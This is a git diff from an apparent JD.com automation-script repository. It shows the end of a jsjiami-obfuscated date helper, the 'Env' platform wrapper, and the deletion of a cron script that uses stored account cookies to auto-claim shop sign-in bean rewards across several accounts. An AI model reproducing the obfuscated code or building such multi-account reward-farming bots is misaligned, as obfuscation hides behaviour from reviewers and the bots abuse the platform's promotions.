_0x182639*_0x43d245;},'Cyrqa':function(_0x36995d,_0x44ba1e){return _0x36995d+_0x44ba1e;},'GHClN':function(_0x39e125,_0x7b7a68){return _0x39e125===_0x7b7a68;},'uUUHT':_0x49e1('1ff','G^pB'),'fRZTS':function(_0xc4d977,_0x211b5d){return _0xc4d977<=_0x211b5d;},'tpHRa':function(_0x2c7e46,_0x97cabc){return _0x2c7e46===_0x97cabc;},'wIrgD':_0x49e1('200','nYN[')};if($['isNode']()){var _0x5b2a62=new Date(_0x143b98[_0x49e1('201','g85[')](_0x143b98[_0x49e1('202','9gIW')](new Date()[_0x49e1('203','WU9B')](),_0x143b98[_0x49e1('204','WU9B')](_0x143b98[_0x49e1('204','WU9B')](new Date()[_0x49e1('205','LoOu')](),0x3c),0x3e8)),_0x143b98[_0x49e1('206','os^Y')](_0x143b98[_0x49e1('207','92v[')](0x8,0x3c),0x3c)*0x3e8));}else{var _0x5b2a62=new Date();}var _0xc46e06='-';var _0x15a531=_0x5b2a62['getFullYear']();var _0x39adf7=_0x143b98['Cyrqa'](_0x5b2a62[_0x49e1('208',']@jd')](),0x1);var _0x4fb3fd=_0x5b2a62[_0x49e1('209','P5ZW')]();if(_0x39adf7>=0x1&&_0x39adf7<=0x9){if(_0x143b98[_0x49e1('20a','euW4')](_0x143b98[_0x49e1('20b','B46s')],_0x49e1('20c','9^M$'))){_0x39adf7=_0x143b98[_0x49e1('20d','k$Vn')]('0',_0x39adf7);}else{return JSON[_0x49e1('20e','os^Y')](str);}}if(_0x4fb3fd>=0x0&&_0x143b98[_0x49e1('20f','VRys')](_0x4fb3fd,0x9)){if(_0x143b98['tpHRa'](_0x143b98[_0x49e1('210','Ur#%')],_0x143b98['wIrgD'])){_0x4fb3fd=_0x143b98['Cyrqa']('0',_0x4fb3fd);}else{var _0x5d8c9b=new Date();}}newtime=_0x143b98[_0x49e1('211','CtxQ')](new Date()[_0x49e1('212','#6v6')](),_0x143b98[_0x49e1('213','6xw5')](0x8,0x3c)*0x3c*0x3e8);currentdate=_0x143b98['Cyrqa'](_0x143b98[_0x49e1('214','0!!V')](JSON[_0x49e1('215','Sizb')](_0x15a531),_0x39adf7),_0x4fb3fd);return currentdate;};_0xodi='jsjiami.com.v6';function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_dpqd.js b/backUp/jd_dpqd.js deleted file mode 100644 index a8f9584..0000000 --- a/backUp/jd_dpqd.js +++ /dev/null @@ -1,364 +0,0 @@ -/* -店铺签到,各类店铺签到,有新的店铺直接添加token即可 -============Quantumultx=============== -[task_local] -#店铺签到 -0 0 * * * https://raw.githubusercontent.com/Aaron-lv/JavaScript/master/Task/jd_shop_sign.js, tag=店铺签到, enabled=true -===========Loon============ -[Script] -cron "0 0 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/JavaScript/master/Task/jd_shop_sign.js,tag=店铺签到 -============Surge============= -店铺签到 = type=cron,cronexp="0 0 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/JavaScript/master/Task/jd_shop_sign.js -===========小火箭======== -店铺签到 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/JavaScript/master/Task/jd_shop_sign.jss, cronexpr="0 0 * * *", timeout=3600, enable=true -*/ -const $ = new Env('店铺签到'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', allMessage = '', message; -const JD_API_HOST = 'https://api.m.jd.com/api?appid=interCenter_shopSign'; - -let activityId='' -let vender='' -let num=0 -let shopname='' -const token = [ - "B3A9883216190B198C546D21A18E0738", - '407910EA26539B7058C483ACAAD92EA8', - "50A6EFF0F4CFCE65B0FA46CF0A23DB53", - "6DA953F013BAF9AC80B074A15752048F", - "1278D2D9916E3BAC83FCB2636E85D756", - "AB5172B51CF895DB51A9C9CAE86DF17B", - "50A6EFF0F4CFCE65B0FA46CF0A23DB53", - "B30902FF38E2329AD719B440E90A5087", - "C9E43741BE8BDCC394A1F767F088E59B", - "5E4DD4A707A5047D34C3E12B39C61B75", - "83CBCE483E8C4A05832162565E20C8CF", - "63DCF7ED48BCE0B3AAE8C18C13BB4000", - "5BFD60270889439B26FCEA611D299A1B", - "806AB8851560F6F462489526E3216EA1", - "F9B4F1AE95822A31172C333437624725", - "C3E62BCF3E9D62593FBF634D349D864A", - "68B823FFD5F0E4326E3256E05E102280", - "C7DB74FE1C4A277C5255F47E36F91385", - "2CD290865D5844EA6951B5778A2C7379", - "638D7446A5712C226B334665166ECFD9", -] - -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = jsonParse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => item !== "" && item !== null && item !== undefined); -} - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await dpqd() - await showMsg() - } - } - if ($.isNode() && allMessage) { - await notify.sendNotify(`${$.name}`, `${allMessage}`) - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -//开始店铺签到 -async function dpqd(){ - for (var j = 0; j < token.length; j++) { - num=j+1 - if (token[j]=='') {continue} - await getvenderId(token[j]) - if (vender=='') {continue} - await getvenderName(vender) - await getActivityInfo(token[j],vender) - await signCollectGift(token[j],vender,activityId) - await taskUrl(token[j],vender) - } -} - -//获取店铺ID -function getvenderId(token) { - return new Promise(resolve => { - const options = { - url: `https://api.m.jd.com/api?appid=interCenter_shopSign&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_getActivityInfo&body={%22token%22:%22${token}%22,%22venderId%22:%22%22}&jsonp=jsonp1000`, - headers: { - "accept": "*/*", - "accept-encoding": "gzip, deflate, br", - "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", - "cookie": cookie, - "referer": 'https://h5.m.jd.com/', - "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) - $.logErr(err); - } else { - //console.log(data) - data = JSON.parse(/{(.*)}/g.exec(data)[0]) - if (data.code==402) { - vender='' - console.log(`第`+num+`个店铺签到活动已失效`) - message +=`第`+num+`个店铺签到活动已失效\n` - }else{ - vender=data.data.venderId - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -//获取店铺名称 -function getvenderName(venderId) { - return new Promise(resolve => { - const options = { - url: `https://wq.jd.com/mshop/QueryShopMemberInfoJson?venderId=${venderId}`, - headers: { - "accept": "*/*", - "accept-encoding": "gzip, deflate, br", - "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", - "cookie": cookie, - "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) - $.logErr(err); - } else { - //console.log(data) - data = JSON.parse(data) - shopName = data.shopName - console.log(`【`+shopName+`】`) - message +=`【`+shopName+`】` - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - - -//获取店铺活动信息 -function getActivityInfo(token,venderId) { - return new Promise(resolve => { - const options = { - url: `${JD_API_HOST}&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_getActivityInfo&body={%22token%22:%22${token}%22,%22venderId%22:${venderId}}&jsonp=jsonp1005`, - headers: { - "accept": "accept", - "accept-encoding": "gzip, deflate", - "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", - "cookie": cookie, - "referer": `https://h5.m.jd.com/babelDiy/Zeus/2PAAf74aG3D61qvfKUM5dxUssJQ9/index.html?token=${token}&sceneval=2&jxsid=16105853541009626903&cu=true&utm_source=kong&utm_medium=jingfen&utm_campaign=t_1001280291_&utm_term=fa3f8f38c56f44e2b4bfc2f37bce9713`, - "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - // console.log(data) - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) - $.logErr(err); - } else { - //console.log(data) - data = JSON.parse(/{(.*)}/g.exec(data)[0]) - activityId=data.data.id - //console.log(data) - let mes=''; - for (let i = 0; i < data.data.continuePrizeRuleList.length; i++) { - const level=data.data.continuePrizeRuleList[i].level - const discount=data.data.continuePrizeRuleList[i].prizeList[0].discount - mes += "签到"+level+"天,获得"+discount+'豆' - } - // console.log(message+mes+'\n') - // message += mes+'\n' - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -//店铺签到 -function signCollectGift(token,venderId,activitytemp) { - return new Promise(resolve => { - const options = { - url: `${JD_API_HOST}&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_signCollectGift&body={%22token%22:%22${token}%22,%22venderId%22:688200,%22activityId%22:${activitytemp},%22type%22:56,%22actionType%22:7}&jsonp=jsonp1004`, - headers: { - "accept": "accept", - "accept-encoding": "gzip, deflate", - "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", - "cookie": cookie, - "referer": `https://h5.m.jd.com/babelDiy/Zeus/2PAAf74aG3D61qvfKUM5dxUssJQ9/index.html?token=${token}&sceneval=2&jxsid=16105853541009626903&cu=true&utm_source=kong&utm_medium=jingfen&utm_campaign=t_1001280291_&utm_term=fa3f8f38c56f44e2b4bfc2f37bce9713`, - "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) - $.logErr(err); - } else { - //console.log(data) - data = JSON.parse(/{(.*)}/g.exec(data)[0]) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -//店铺获取签到信息 -function taskUrl(token,venderId) { - return new Promise(resolve => { - const options = { - url: `${JD_API_HOST}&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_getSignRecord&body={%22token%22:%22${token}%22,%22venderId%22:${venderId},%22activityId%22:${activityId},%22type%22:56}&jsonp=jsonp1006`, - headers: { - "accept": "application/json", - "accept-encoding": "gzip, deflate, br", - "accept-language": "zh-CN,zh;q=0.9", - "cookie": cookie, - "referer": `https://h5.m.jd.com/`, - "user-agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) - $.logErr(err); - } else { - //console.log(data) - data = JSON.parse(/{(.*)}/g.exec(data)[0]) - console.log(`已签到:`+data.data.days+`天`) - message +=`已签到:`+data.data.days+`天\n` - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -async function showMsg() { - if ($.isNode()) { - $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); - allMessage += `【京东账号${$.index}】${$.nickName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": `jdapp;android;9.3.5;10;3353234393134326-3673735303632613;network/wifi;model/MI 8;addressid/138719729;aid/3524914bc77506b1;oaid/274aeb3d01b03a22;osVer/29;appBuild/86390;psn/Mp0dlaZf4czQtfPNMEfpcYU9S/f2Vv4y|2255;psq/1;adk/;ads/;pap/JA2015_311210|9.3.5|ANDROID 10;osv/10;pv/2039.1;jdv/0|androidapp|t_335139774|appshare|QQfriends|1611211482018|1611211495;ref/com.jingdong.app.mall.home.JDHomeFragment;partner/jingdong;apprpd/Home_Main;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36` - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = data['base'].nickname; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - -// prettier-ignore -function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete 